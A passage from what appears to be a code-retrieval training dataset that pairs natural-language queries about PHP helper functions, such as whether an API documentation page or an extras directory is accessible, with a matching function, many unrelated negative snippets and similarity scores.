);\n\t\trestore_current_blog();\n\t\techo 'The Network Home URL is: ' . $site_url . '</p>';\n\t\techo 'The Network Home Name is: ' . $site_title . '</p>';\n\t\techo 'The Network Home Tagline is: ' . $site_description . '</p>';\n\t\techo 'Page loaded in ' . date(\"s\", $_SERVER['REQUEST_TIME_FLOAT']) . ' Seconds</p>';\n\t\techo get_num_queries() .' queries in '. timer_stop(1) .' seconds.';\n\t}", "public function hasInfo() {\n return $this->_has(3);\n }", "public function isDisplayed()\n {\n if (!$this->scopeConfig->getValue('magentomobileshop/secure/key')) {\n return true;\n }\n }", "public function hasCurrentInfo()\n {\n return $this->hasCurrent(self::NAMESPACE_INFO);\n }", "public function hasInfo() {\n return $this->_has(6);\n }", "function database_get_server_info()\n {\n\t return ( function_exists('mysql_get_server_info') ? mysql_get_server_info($this->database_connection) : FALSE );\n\t}", "public abstract function showInfo();", "public function has_server( $key ) \n\t{\n\t\treturn array_key_exists( strtoupper($key), $this->SERVER );\n\t}", "public function IsInMaintenanceMode(){\n\n\t\t// Obtain maintenance_mode index from config file\n $config_maintenance = $this->instance->config->item(\"maintenance_mode\");\n\n // validate if it's true\n if( $config_maintenance ){\n\n \t// load view and terminate output\n echo $this->instance->load->view('system/maintenance_mode', false, true);\n die();\n }\n }", "public function isHidden()\n\t{\n\t\t$hiddenModules = array('servermanager','serverclient','users','groups','modules','postfixadmin');\n\t\treturn in_array($this->name, $hiddenModules);\n\t}", "public function server_info_section() {\n \n ?><p><?php _e( 'Information about SMTP server', JPEN_DOMAIN ); ?></p><?php\n\n add_settings_field( \n 'jpen_smtp_host', \n __( 'SMTP Host', JPEN_DOMAIN ), \n [ $this, 'smtp_host_field' ], \n $this->page_slug, \n 'jpen_server_info', \n array(\n 'label_for' => 'jpen_smtp_host',\n 'default' => 'smtp.gmail.com',\n ) \n );\n\n add_settings_field( \n 'jpen_smtp_port', \n __( 'SMTP Port', JPEN_DOMAIN ), \n [ $this, 'smtp_port_field' ], \n $this->page_slug, \n 'jpen_server_info', \n array(\n 'label_for' => 'jpen_smtp_port',\n 'default' => 25,\n ) \n );\n\n add_settings_field( \n 'jpen_smtp_secure', \n __( 'SMTP Secure', JPEN_DOMAIN ), \n [ $this, 'smtp_secure_select' ], \n $this->page_slug, \n 'jpen_server_info', \n array(\n 'label_for' => 'jpen_smtp_secure',\n 'options' => [ 'tls', 'ssl' ],\n 'default' => 'tls',\n ) \n );\n\n add_settings_field( \n 'jpen_smtp_auth', \n __( 'SMTP Auth', JPEN_DOMAIN ), \n [ $this, 'smtp_auth_check' ], \n $this->page_slug, \n 'jpen_server_info', \n array(\n 'label_for' => 'jpen_smtp_auth',\n 'default' => true,\n ) \n );\n\n add_settings_field( \n 'jpen_smtp_debug', \n __( 'SMTP Debug', JPEN_DOMAIN ), \n [ $this, 'smtp_debug_check' ], \n $this->page_slug, \n 'jpen_server_info', \n array(\n 'label_for' => 'jpen_smtp_debug',\n 'default' => 1,\n ) \n );\n }", "public function hasInfo() {\n return $this->_has(7);\n }", "public function hasInfo() {\n return $this->_has(7);\n }", "public function print_section_info()\r\n {\r\n print 'Additional options of your sites are available in Tapatalk Admin CP.';\r\n }", "public function isCatalogOriginVisible()\n {\n return (\n $this->isCatalogInformationVisible() && Mage::getStoreConfigFlag(self::XML_PATH_CATALOG_DISPLAY_ORIGIN)\n ) ? true : false;\n }", "public function getIsNeedToDisplaySideBar()\n {\n return (bool) Mage::app()->getStore()->getConfig('checkout/sidebar/display');\n }", "public function hasShowDisplay()\n {\n return $this->show_display !== null;\n }", "protected function isFrontend() {}", "protected function is_list_page() {\n\t\treturn false;\n\t}", "public function hasServerPort()\n {\n return $this->server_port !== null;\n }", "public function describe_server_options() {\n echo '<p>The following options control access to the endpoint for clearing the cache.</p>';\n }", "public function displayPageStart()\n {\n if( isset( $_SERVER[\"HTTP_HOST\"] ) && true === $this->display )\n {\n echo '<pre style=\"font-size: 11px; line-height: 7px;\">';\n }\n }", "function isOnPageAsString(){\n\t\treturn $this->on_page ? 'true' : 'false';\n\t}", "function is_options_save_page()\n{\n $self = $_SERVER['PHP_SELF'];\n $request = $_SERVER['REQUEST_URI'];\n\n return stripos($self, 'options.php') !== false || stripos($request, 'options.php') !== false;\n}", "protected function isPageTemplate(): bool {\n return (\n $this->layout === 'single' || \n $this->layout === 'archive'\n );\n }", "protected function is_current_screen_page() {\n\n\t\tif ( Settings::PAGE_ID !== Framework\\SV_WC_Helper::get_requested_value( 'page' ) ) {\n\t\t\treturn false;\n\t\t}\n\n\t\t// assume we are on the Connection tab by default because the link under Marketing doesn't include the tab query arg\n\t\t$tab = Framework\\SV_WC_Helper::get_requested_value( 'tab', 'connection' );\n\n\t\treturn ! empty( $tab ) && $tab === $this->get_id();\n\t}", "static function BeforePageDisplay( &$out ){\n\t\tglobal $wgRequest, $wgUser;\n\t\tglobal $wgUseAjax;\n\n\t\tif( $wgUser->isLoggedIn() && $wgUseAjax ){\n\t\t\t$out->addModules( 'ext.onlineStatus' );\n\t\t}\n\n\t\tif( !in_array( $wgRequest->getVal( 'action', 'view' ), array( 'view', 'purge' ) ) )\n\t\t\treturn true;\n\t\t$status = self::GetUserStatus( $out->getTitle(), true );\n\t\tif( $status === null )\n\t\t\treturn true;\n\t\t$out->setSubtitle( wfMsgExt( 'onlinestatus-subtitle-' . $status, array( 'parse' ) ) );\n\n\t\treturn true;\n\t}", "public function canShowTab()\n {\n $integrationData = $this->_coreRegistry->registry(\n Integration::REGISTRY_KEY_CURRENT_INTEGRATION\n );\n\n if (isset($integrationData['integration_id']) &&\n isset($integrationData['endpoint']) &&\n (str_contains($integrationData['endpoint'], 'extend.com') &&\n str_contains($integrationData['endpoint'], 'integ-mage'))\n ) {\n return true;\n }\n }", "public function hasServerPublicIpAddr()\n {\n return $this->server_public_ip_addr !== null;\n }", "function information()\n\t\t{\n\t\t\t$this->directPageDetails(\"information\");\n\t\t}", "static public function isHTML() {\n\t\treturn (self::$page_type === 0);\n\t}", "protected function determineIdIsHiddenPage() {}", "private function is_ate_console_tab() {\n\t\t$sm = filter_input( INPUT_GET, 'sm', FILTER_SANITIZE_STRING );\n\t\t$page = filter_input( INPUT_GET, 'page', FILTER_SANITIZE_STRING );\n\n\t\treturn $sm && $page && self::SLUG === $sm && WPML_TM_FOLDER . '/menu/main.php' === $page;\n\t}", "public static function is_request()\n\t{\n\t\treturn self::$is_server;\n\t}", "public function hasContactInfo() {\n return ($this->phone || $this->email || $this->pager);\n }", "public function show_sidebar_meta() {\n\n\t\tif ( $this->post_id === null ) {\n\t\t\treturn true;\n\t\t}\n\n\t\tif ( $this->is_restricted_woocommerce_page() ) {\n\t\t\treturn false;\n\t\t}\n\n\t\tif ( $this->is_sections_front_page() ) {\n\t\t\treturn false;\n\t\t}\n\n\t\treturn true;\n\t}", "private function should_display_translate_notice() {\n\t\tif ( defined( 'HESTIA_PRO_FLAG' ) ) {\n\t\t\treturn false;\n\t\t}\n\n\t\tif ( get_option( 'show_on_front' ) === 'page' ) {\n\t\t\tif ( defined( 'POLYLANG_VERSION' ) ) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\tif ( defined( 'TRP_PLUGIN_VERSION' ) ) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\tif ( get_option( 'icl_sitepress_settings' ) !== false ) {\n\t\t\t\treturn true;\n\t\t\t}\n\n\t\t\treturn false;\n\t\t}\n\t}", "public function getShowInsecure() {\n\t\t\treturn (bool) $this->showInsecure;\n\t\t}", "public static function is_current_url_a_system_page(){\n $current_page_url = SwpmMiscUtils::get_current_page_url();\n \n //Check if the current page is the membership renewal page.\n $renewal_url = SwpmSettings::get_instance()->get_value('renewal-page-url'); \n if (empty($renewal_url)) {return false;}\n if (SwpmMiscUtils::compare_url($renewal_url, $current_page_url)) {return true;}\n\n //Check if the current page is the membership logn page.\n $login_page_url = SwpmSettings::get_instance()->get_value('login-page-url');\n if (empty($login_page_url)) {return false;}\n if (SwpmMiscUtils::compare_url($login_page_url, $current_page_url)) {return true;}\n\n //Check if the current page is the membership join page.\n $registration_page_url = SwpmSettings::get_instance()->get_value('registration-page-url');\n if (empty($registration_page_url)) {return false;}\n if (SwpmMiscUtils::compare_url($registration_page_url, $current_page_url)) {return true;}\n \n return false;\n }", "public function isInSiteMap() : bool {\n return $this->incInSiteMap;\n }", "public function hasServerRegion()\n {\n return $this->server_region !== null;\n }", "public function canShow()\n {\n return $this->_authSession->isFirstPageAfterLogin() && $this->_getLatestItem();\n }", "public function isEnvironmentInFrontendMode() {}", "public function isCatalogAvailabilityVisible()\n {\n return (\n $this->isCatalogInformationVisible() && Mage::getStoreConfigFlag(self::XML_PATH_CATALOG_DISPLAY_AVAILABILITY)\n ) ? true : false;\n }", "function getServerInfo();", "function visible () {\n\t\treturn isadmin();\n\t}", "function checkDisplayMode($a_title = \"\")\n\t{\n\t\tswitch ($this->display_mode)\n\t\t{\n\t\t\tcase \"view\":\n\t\t\t\t$this->tpl->addBlockFile(\"CONTENT\",\"content\",\"tpl.clientview.html\", \"setup\");\n\t\t\t\t// display tabs\n\t\t\t\tinclude \"./setup/include/inc.client_tabs.php\";\n\t\t\t\t$client_name = ($this->setup->getClient()->getName()) ? $this->setup->getClient()->getName() : $this->lng->txt(\"no_client_name\");\n\t\t\t\t$this->tpl->setVariable(\"TXT_HEADER\",$client_name.\" (\".$this->lng->txt(\"client_id\").\": \".$this->setup->getClient()->getId().\")\");\n\t\t\t\tbreak;\n\n\t\t\tcase \"setup\":\n\t\t\t\t$this->tpl->addBlockFile(\"CONTENT\",\"content\",\"tpl.clientsetup.html\", \"setup\");\n\t\t\t\t$this->tpl->setVariable(\"TXT_HEADER\",$this->lng->txt($a_title));\n\t\t\t\tbreak;\n\n\t\t\tdefault:\n\t\t\t\t$this->displayError($this->lng->txt(\"unknown_display_mode\"));\n\t\t\t\texit();\n\t\t\t\tbreak;\n\t\t}\n\t}", "public static function getServerStatusInfo()\n\t{\n\t\treturn array(\n\t\t\tMHTTPD::getSoftwareInfo(),\n\t\t\tdate('r', MHTTPD::$info['launched']),\n\t\t\tMHTTPD::getStatCount('up', true),\n\t\t\tMHTTPD::getStatCount('down', true),\n\t\t\tMHTTPD::getClientsSummary(),\n\t\t\tMFCGI::getScoreboard(true),\n\t\t\tMHTTPD::getAbortedSummary(),\n\t\t\tMHTTPD::getHandlers(true),\n\t\t\tMHTTPD::getSignature(),\n\t\t);\n\t}", "protected function showVersion() {\n static $shown = false;\n if (!$shown) {\n $shown = true;\n echo Version::getInfoString() . \"\\n\\n\";\n }\n }" ]
[ "0.71416783", "0.6807295", "0.66978884", "0.6455347", "0.6452842", "0.64419526", "0.63281745", "0.62444586", "0.6220971", "0.6198597", "0.6167629", "0.61568666", "0.60403675", "0.5992973", "0.59840673", "0.5955948", "0.59019166", "0.5888251", "0.58680236", "0.58520234", "0.5837599", "0.58350354", "0.57993525", "0.57167226", "0.57095206", "0.56949127", "0.5690503", "0.56899875", "0.5683919", "0.56696683", "0.5666414", "0.5662545", "0.5625359", "0.56187034", "0.56148076", "0.56104493", "0.5600844", "0.55924606", "0.5591448", "0.55833924", "0.5579577", "0.55667263", "0.55667263", "0.55667263", "0.5565582", "0.55621815", "0.5550715", "0.55418575", "0.5541615", "0.5540162", "0.55370927", "0.553169", "0.5529239", "0.5528678", "0.5527202", "0.5525826", "0.5508343", "0.5507613", "0.5495137", "0.54844916", "0.54840744", "0.5468118", "0.54651684", "0.54651684", "0.5456123", "0.54541945", "0.54502666", "0.54476666", "0.5444023", "0.5439773", "0.54339767", "0.54318064", "0.54283184", "0.5425274", "0.5420352", "0.540797", "0.54053694", "0.5402078", "0.53952956", "0.53876543", "0.5365062", "0.53648156", "0.5364681", "0.53638315", "0.53621733", "0.53618264", "0.5360344", "0.5355794", "0.53517705", "0.53509235", "0.53493196", "0.53482836", "0.5347933", "0.5337949", "0.5336404", "0.53359526", "0.53339446", "0.53303707", "0.53259295", "0.53254676" ]
0.73005015
0
Determines whether the API Documentation page should be displayed or not.
public static function allowAPIDocs() { return MHTTPD::$config['Admin']['allow_api_docs']; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public static function isApi()\n {\n return (self::getRequestType() == 'api')?true:false;\n }", "public function documentation() {\n\t\t$this->display(API_VIEWS_BASE.'/backend/documentation/index'); \n }", "protected function is_list_page() {\n\t\treturn false;\n\t}", "public function is_page();", "static public function isApi() {\n return\n isset($_SERVER['REQUEST_URI'])\n && strpos($_SERVER['REQUEST_URI'], \"/passage/\") !== false;\n }", "public function isAPI(){\n $paths = explode(\"/\", $this->path);\n if(isset($paths[0]) && strtolower($paths[0])==\"api\"){\n return true;\n }\n return false;\n }", "public function is_on_page_with_description() {\n return ($this->page->pagelayout == 'pagewithdescription');\n }", "public function documentation()\n\t{\n\t\tif(defined(\"CMS_BACKEND\"))\n\t\t{\n\t\t\tAuthUser::load();\n\t\t\tif ( ! AuthUser::isLoggedIn()) {\n\t\t\t\tredirect(get_url('login'));\n\t\t\t}\n\t\t\t$this->display('mbblog/views/admin/docs');\n\t\n\t\t} else\n\t\t{\n\t\t\tFlash::set('error', __('You do not have permission to access the requested page!'));\n\t\t\tredirect(get_url());\n\t\t}\n\t}", "public function isGeneratePage() {}", "public function getDetailedDocumentation();", "public function canAccessPage(){\n\n\t\t\t$nav = $this->getNavigationArray();\n\t\t\t$page = '/' . trim(getCurrentPage(), '/') . '/';\n\n\t\t\t$page_limit = 'author';\n\n\t\t\tforeach($nav as $item){\n\t\t\t\tif(General::in_array_multi($page, $item['children'])){\n\n\t\t\t\t\tif(is_array($item['children'])){\n\t\t\t\t\t\tforeach($item['children'] as $c){\n\t\t\t\t\t\t\tif($c['type'] == 'section' && $c['visible'] == 'no' && preg_match('#^' . $c['link'] . '#', $page)) {\n\t\t\t\t\t\t\t\t$page_limit = 'developer';\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tif($c['link'] == $page && isset($c['limit'])) {\n\t\t\t\t\t\t\t\t$page_limit\t= $c['limit'];\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tif(isset($item['limit']) && $page_limit != 'primary'){\n\t\t\t\t\t\tif($page_limit == 'author' && $item['limit'] == 'developer') $page_limit = 'developer';\n\t\t\t\t\t}\n\n\t\t\t\t}\n\n\t\t\t\telseif(isset($item['link']) && ($page == $item['link']) && isset($item['limit'])){\n\t\t\t\t\t$page_limit\t= $item['limit'];\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif($page_limit == 'author')\n\t\t\t\treturn true;\n\n\t\t\telseif($page_limit == 'developer' && Administration::instance()->Author->isDeveloper())\n\t\t\t\treturn true;\n\n\t\t\telseif($page_limit == 'primary' && Administration::instance()->Author->isPrimaryAccount())\n\t\t\t\treturn true;\n\n\t\t\treturn false;\n\t\t}", "public static function isPage();", "public function isVisible(): bool\n {\n return $this->scopeConfig->getValue('helloworld/general/enable');\n }", "public static function is_builder_page() {\n\t\treturn (bool) get_post_meta(get_the_ID(), '_mkb_enable_home_page', true);\n\t}", "public function isOnepage()\r\n {\r\n if($this->_params['layout'] != 'onepage'){\r\n return false;\r\n }\r\n return true;\r\n }", "public function isApi()\n {\n return $this->controller() instanceof ApiController;\n }", "protected function is_view_page() {\n\t\treturn false;\n\t}", "public function is_paged()\n {\n }", "public function apiDocs(){\n\t\t$data = array(\n \"pagedata\" => array(\n \"apidocs\" => true\n ) ,\n \"vars\" => $this->variables->getAll()\n );\n\t\t$this->view(\"system/capture.html\", $data);\n\t}", "public function getGeneralDocumentation();", "public function isPage()\n {\n if(is_string($this->url)) return false;\n return $this->url->hasTarget();\n }", "public function isSearchPage();", "public function isPaged() {\n\t\treturn Arr::get($this->params, 'paged', true) ? true : false;\n\t}", "public function isInformationVisible()\n {\n return Mage::getStoreConfigFlag(self::XML_PATH_OPTIONS_DISPLAY_INFORMATION);\n }", "public function hasPages();", "public function hasPages();", "public function shouldRender()\n {\n if ($this->totalPages > 1) {\n \n return true;\n }\n \n return false;\n }", "private function isInternal()\n {\n return Request::segment(1) != 'api';\n }", "public function isDocumented()\n\t{\n\t\tif (null === $this->isDocumented) {\n\t\t\t$this->isDocumented = $this->reflection->isTokenized() || $this->reflection->isInternal();\n\n\t\t\tif ($this->isDocumented) {\n\t\t\t\tif (!$this->config->php && $this->reflection->isInternal()) {\n\t\t\t\t\t$this->isDocumented = false;\n\t\t\t\t} elseif (!$this->config->deprecated && $this->reflection->isDeprecated()) {\n\t\t\t\t\t$this->isDocumented = false;\n\t\t\t\t} elseif (!$this->config->internal && ($internal = $this->reflection->getAnnotation('internal')) && empty($internal[0])) {\n\t\t\t\t\t$this->isDocumented = false;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn $this->isDocumented;\n\t}", "public function shouldBeDisplayed()\n {\n return Auth::user()->can('browse', Actadmin::model('Page'));\n }", "public function isProductPage();", "function sc_is_page( $page_name ){\n\tglobal $global_options;\n\t$options = (array)$global_options;\n\treturn (int)$options[$page_name] > 0 && is_page((int)$options[$page_name]);\n}", "function doAuthorizationChecks() \n\t{\n\t\tif (API_Operation::$docs_mode)\n\t\t\treturn API_Operation::$docs_mode->addOperationNote(\"This operation does not require the user to be authenticated.\");\n\t}", "function doAuthorizationChecks() \n\t{\n\t\tif (API_Operation::$docs_mode)\n\t\t\treturn API_Operation::$docs_mode->addOperationNote(\"This operation does not require the user to be authenticated.\");\n\t}", "public function isDeveloper()\r\n\t{\r\n\t\t\treturn count($this->getDeveloperProfiles()) > 0;\r\n\t}", "function has_landing_page() {\n\n\tif ( is_archive() || is_tax() || is_category() || is_tag()) {\n\n\t\tif ( is_date() ) {\n\t\t\treturn false;\n\t\t}\n\n\t\t$page = get_landing_page();\n\n\t\tif ($page) {\n\t\t\treturn true;\n\t\t}\n\t}\n\n\n\treturn false;\n}", "protected function isSinglePage()\n {\n return ($this->request->view == 'products' && $this->request->task == 'view');\n }", "public function hasDocComment()\n {\n return parent::getDocComment() !== false;\n }", "public function it_displays_in_navigation()\n {\n $this->assertTrue(UserResource::$displayInNavigation);\n }", "static public function isXML() {\n\t\treturn (self::$page_type === 2);\n\t}", "public static function canDisplayDocumentTypesMenu()\n\t{\n\t\treturn PermissionValidator::hasPermission(PermissionConstants::VIEW_DOCUMENT_TYPE);\n\t}", "public function canShowInfo() {}", "public function getPageVisible() {}", "public static function isCasualPage()\n\t{\n\t\treturn (bool)(self::$viewingMode == 0);\n\t}", "public function getDocumentationUrl();", "static function is_api($request){\n if(strpos($request->url(), url('api').'/')!==false){\n return true;\n }\n\n return false;\n\n }", "public function docsAction()\n {\n $view = new Simple();\n return $view->render(__DIR__ . '/../views/Docs/docs', [\n 'url' => $this->di->get('swagger')['jsonUri'],\n ]);\n }", "public function showDemo()\n {\n return false;\n }", "public function isCategoryPage();", "private static function _is_internal() {\n\t\t// Skip for preview, 404 calls, feed, search, favicon and sitemap access.\n\t\treturn is_preview() || is_404() || is_feed() || is_search()\n\t\t\t|| ( function_exists( 'is_favicon' ) && is_favicon() )\n\t\t\t|| '' !== get_query_var( 'sitemap' ) || '' !== get_query_var( 'sitemap-stylesheet' );\n\t}", "protected function is_edit_page() {\n\t\treturn false;\n\t}", "protected function isHelp() {}", "private function _isResource() {\n $Info = explode('.', $_SERVER[\"REQUEST_URI\"]);\n $rVal = false;\n\n if ( count($Info) > 1 ) { $rVal = true; }\n\n // Return the Boolean Response\n return $rVal;\n }", "public function showOnIndex(): bool\n {\n return $this->showOnList;\n }", "public function hasPagination()\n {\n return !is_null($this->perPage);\n }", "static function is_requested()\n {\n $retval = FALSE;\n if (self::is_requested_page()) {\n $retval = self::is_requested_page();\n } elseif (self::is_requested_post_type()) {\n $retval = self::is_requested_post_type();\n }\n return apply_filters('is_ngg_admin_page', $retval);\n }", "protected function is_api_loaded()\n {\n }", "public function isDescriptionVisible()\n {\n return (\n $this->isInformationVisible() && \n Mage::getStoreConfigFlag(self::XML_PATH_OPTIONS_DISPLAY_DESCRIPTION)\n ) ? true : false;\n }", "public function isApiLoggingOn() {\n\t\treturn $this->apiLoggingOn;\n\t}", "public function getDocumentationConfig(): array;", "function ppom_is_api_enable() {\n \n $api_enable = get_option( 'ppom_api_enable' );\n $api_key = get_option( 'ppom_rest_secret_key' );\n \n $return = false;\n \n if( $api_enable == 'yes' && $api_key != '' ) {\n $return = true;\n }\n \n return $return;\n}", "public function canManagePages();", "public function canPaginate(): bool;", "public function test_builder_page_displaying()\n {\n $response = $this->actingAs($this->user)->get('/admin/builder');\n\n $response->assertStatus(200);\n }", "public function has_documents() {\n\t\t\treturn $this->hasdocuments == 'Y' ? true : false;\n\t\t}", "public function getIsFirstPage(): bool\n {\n return $this->pageIndex === 0;\n }", "public function getDocumentation(): string;", "public function setting_show_as_page() {\n\t\t$setting = get_option( 'simple_history_show_as_page', 1 );\n\t\t$setting = apply_filters( 'simple_history_show_as_page', $setting );\n\n\t\treturn (bool) $setting;\n\t}", "public function is_enabled() {\n\t\treturn WPSEO_Options::get( 'ryte_indexability' );\n\t}", "function isOnlineHelpWiki()\n\t{\n\t\tif (is_object($this->object))\n\t\t{\n\t\t\treturn ilObjWiki::isOnlineHelpWiki($this->object->getRefId());\n\t\t}\n\t\treturn false;\n\t}", "protected function needsNewPage()\n {\n return $this->getY() >= $this->layout['pageMaxY'];\n }", "function display_sidebar() {\n static $display;\n\n isset($display) || $display = !in_array(true, [\n // The sidebar will NOT be displayed if ANY of the following return true.\n // @link https://codex.wordpress.org/Conditional_Tags\n is_404(),\n is_front_page(),\n is_home(),\n is_page([\n 'free-case-evaluations',\n 'discrimination-employee-rights-case-evaluation',\n 'criminal-defense-dwi-case-evaluation',\n 'personal-injury-free-case-evaluation',\n 'contact'\n ])\n ]);\n\n return apply_filters('display_sidebar', $display);\n}", "public function set_is_api_request() {\n\t\t// Constant is not defined until parse_request.\n\t\tif ( ! $this->is_api_request ) {\n\t\t\t$this->is_api_request = defined( 'REST_REQUEST' ) && REST_REQUEST;\n\t\t}\n\t}", "private function isFrontEndRequest() {\n\t\treturn ! \\is_admin();\n\t}", "public function displayDoc()\n {\n include __DIR__ . '/templates/doc.php';\n }", "public function displayContentOverview() {}", "private function isPage( )\n\t{\n\t\t/**\n\t\t * The only pages with directories are mobile pages and dynamic pages (commerce & blog)\n\t\t */\n\t\tif( isset( $this->request['directories'] ) === true\n\t\t\t&& count( $this->request['directories'] ) > 0\n\t\t\t&& $this->request['directories'] !== 'mobile' && $this->isDynamicPage( ) === false\n\t\t)\n\t\t{\n\t\t\t$this->request['isPage'] = false;\n\t\t\treturn false;\n\t\t}\n\n\t\tif ( preg_match( '/.html\\Z/', $this->request['file'] ) > 0 || preg_match( '/.htm\\Z/', $this->request['file'] ) > 0 )\n\t\t{\n\t\t\t$this->request['isPage'] = true;\n\t\t\treturn true;\n\t\t}\n\n\t\t$this->request['isPage'] = false;\n\t\treturn false;\n\t}", "function wordfes2014_display_sidebar(){\n\n\t$display = true;\n\n\t/**\n\t * ワンカラムが選択されているか、404ページの時は非表示\n\t */\n\tif ( 'one_column' === get_field( 'template_layout' ) ||\n\t\t\tis_404() ) {\n\t\t$display = false;\n\t}\n\n\treturn $display;\n\n}", "function display_sidebar() {\n\n static $display;\n\n isset($display) || $display = !in_array(true, array(\n // The sidebar will NOT be displayed if ANY of the following return true.\n // @link https://codex.wordpress.org/Conditional_Tags\n is_404(),\n is_page() && !is_front_page()\n ));\n\n return apply_filters('sage/display_sidebar', $display);\n\n}", "public function showInfo(){\n if(defined('PLUGIN_OPTIONS'))\n return $this->moduleShowInfo();\n return browser\\msg::pageNotFound();\n }", "public function showInMenu()\n {\n $ctrs = PageCom::ctrs();\n return $ctrs && (count($ctrs) > 1);\n }", "public function isApiEnabled()\n {\n return (Mage::getStoreConfig('easywebshopsms/api_connection/active')==0) ? false : true;\n }", "function isOnPage(){\n return $this->on_page != 'f';\n\t}", "public function shouldActionDisplayOnDataType()\n {\n return $this->dataType->slug == 'expenses';\n }", "public function isBrowsable() {}", "public function display() {\n return false;\n }", "public function display() {\n return false;\n }", "public function isBrowsable() {\n return true;\n }", "static function hasAnAnswerPage ()\n {\n return true;\n }", "protected function _canBeShown()\n {\n if (!Mage::helper('factfinder_campaigns')->getIsResultListingPage()) {\n return false;\n }\n\n return (bool) Mage::helper('factfinder')->isEnabled('campaigns');\n }", "public static function isWeb()\n {\n return (!self::isApi())?true: false;\n }", "public function is_api_request($is_api_request)\n {\n }", "public function isMain() {\n\t\treturn $this->_page == null;\n\t}", "function isOnPageAsString(){\n\t\treturn $this->on_page ? 'true' : 'false';\n\t}", "function showInfoAlways() {\n\t\t// true: will show the story statistics to everyone.\n\t\treturn true;\n\t}", "public static function has_page_header() {\n\t\t$post_id = wpv_get_the_ID();\n\n\t\tif ( is_null($post_id) || ! is_singular() || WpvFancyPortfolio::has( 'page' ) )\n\t\t\treturn true;\n\n\t\tif ( is_single() && has_post_format( 'aside' ) )\n\t\t\treturn false;\n\n\t\treturn get_post_meta($post_id, 'show-page-header', true) !== 'false' && !is_page_template('page-blank.php');\n\t}", "public function isAccepted_as_tutorial() {\n\t\t$this->getAccepted_as_tutorial();\n\t}", "public function help()\r\n\t{\r\n\t\t// You could include a file and return it here.\r\n\t\treturn \"No documentation has been added for this module.<br />Contact the module developer for assistance.\";\r\n\t}", "public function getIsNeedToDisplaySideBar()\n {\n return (bool) Mage::app()->getStore()->getConfig('checkout/sidebar/display');\n }", "public function getIsHomePage()\n {\n return $this->getUrl('') == $this->getUrl('*/*/*', array('_current'=>true, '_use_rewrite'=>true));\n }" ]
[ "0.6362983", "0.6280511", "0.6213664", "0.6171089", "0.6167899", "0.6056447", "0.6049501", "0.60412884", "0.59809875", "0.5977476", "0.59451985", "0.5838461", "0.5780866", "0.5777056", "0.57674026", "0.5739612", "0.5728993", "0.57217425", "0.5712196", "0.57112235", "0.5707998", "0.5703815", "0.5684016", "0.5672837", "0.56718093", "0.56718093", "0.5666853", "0.56415266", "0.5617873", "0.56100714", "0.5608738", "0.5607219", "0.560649", "0.560649", "0.560187", "0.55903506", "0.5581772", "0.5579105", "0.5574988", "0.55592155", "0.55585873", "0.55326676", "0.55272007", "0.55250025", "0.55169135", "0.5508442", "0.55074984", "0.5495647", "0.54945326", "0.5475708", "0.54650146", "0.54642713", "0.5462917", "0.54527926", "0.54522836", "0.5442009", "0.5440756", "0.54401237", "0.5440039", "0.5438313", "0.54312336", "0.54095924", "0.5408512", "0.5396333", "0.5395892", "0.5394551", "0.5388273", "0.5376543", "0.53699386", "0.5369082", "0.53661096", "0.53615457", "0.5359915", "0.53574103", "0.53402096", "0.533506", "0.53343207", "0.53154105", "0.5313167", "0.5307954", "0.5304599", "0.5283044", "0.5281495", "0.527322", "0.5261035", "0.52591515", "0.52591515", "0.5246187", "0.52413845", "0.5227986", "0.52242166", "0.52219445", "0.521738", "0.5216626", "0.5213465", "0.52132773", "0.52117646", "0.521156", "0.5210275", "0.52004987" ]
0.70562786
0
Determines whether the Extras private server directory is accessible or not.
public static function allowExtrasDir() { return MHTTPD::$config['Admin']['allow_extras_dir']; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function checkDirectoryExistance()\n {\n if (!file_exists($this->event->getConfig()->router->global_router)) {\n return false;\n }\n if (!is_readable($this->event->getConfig()->router->global_router)) {\n return false;\n }\n\n return true;\n }", "public function isAvailable(){\n\t\treturn is_dir($this->path);\n\t}", "function privDirCheck($p_dir, $p_is_dir = \\false)\n {\n }", "function is_config_private_mode() {\n\treturn conditional_config('private_mode');\n}", "private function checkAccess(): bool\n {\n echo \"Proxy: Checking access prior to firing a real request.\\n\";\n\n return true;\n }", "public function isUseful() {\n\t\tif(!$this->isApache()) return false;\n\t\t$f = '.htaccess';\n\t\t$paths = $this->wire('config')->paths;\n\t\t$assets = $paths->assets;\n\t\tif(!file_exists($assets . $f)) return true;\n\t\tif(!file_exists($assets . \"logs/$f\")) return true;\n\t\tif(!file_exists($assets . \"cache/$f\")) return true;\n\t\tif(!file_exists($assets . \"backups/$f\")) return true;\n\t\tif(!file_exists($paths->templates . $f)) return true;\n\t\tif(!file_exists($paths->site . $f)) return true;\n\t\tif(!file_exists($paths->site . \"modules/$f\")) return true;\n\t\treturn false;\n\t}", "public function isDirectoryOperationAllowed() {}", "function canSeePrivate() {\n \treturn $this->isProjectManager() || (boolean) $this->getSystemPermission('can_see_private_objects');\n }", "public function isRemote()\n {\n return (bool) filter_var($this->absolutePath, FILTER_VALIDATE_URL) or starts_with($this->absolutePath, '//');\n }", "public static function allowServerInfo()\n\t{\n\t\treturn MHTTPD::$config['Admin']['allow_server_info'];\n\t}", "public function isSystemPath()\n {\n $parts = $this->_getPathParts();\n return (count($parts) < 3) ||\n (count($parts) == 3 && $this->containerType === FileSystem::FOLDER_TYPE_PERSONAL);\n }", "public function verify_file_access() {\n\t\tif (function_exists('clearstatcache')) {\n\t\t\tclearstatcache();\n\t\t}\n\n\t\t// First check wp-config.php.\n\t\tif (!is_writable(ABSPATH . 'wp-config.php') && !is_writable(ABSPATH . '../wp-config.php')) {\n\t\t\treturn false;\n\t\t}\n\n\t\t// Now check wp-content. We need to be able to create files of the same user as this file.\n\t\tif (!$this->_is_dir_writable(untrailingslashit(WP_CONTENT_DIR))) {\n\t\t\treturn false;\n\t\t}\n\n\t\t// If the cache and config directories exist, make sure they're writeable\n\t\tif (file_exists(untrailingslashit(WP_CONTENT_DIR) . '/wpo-cache')) {\n\t\t\t\n\t\t\tif (file_exists(WPO_CACHE_DIR)) {\n\t\t\t\tif 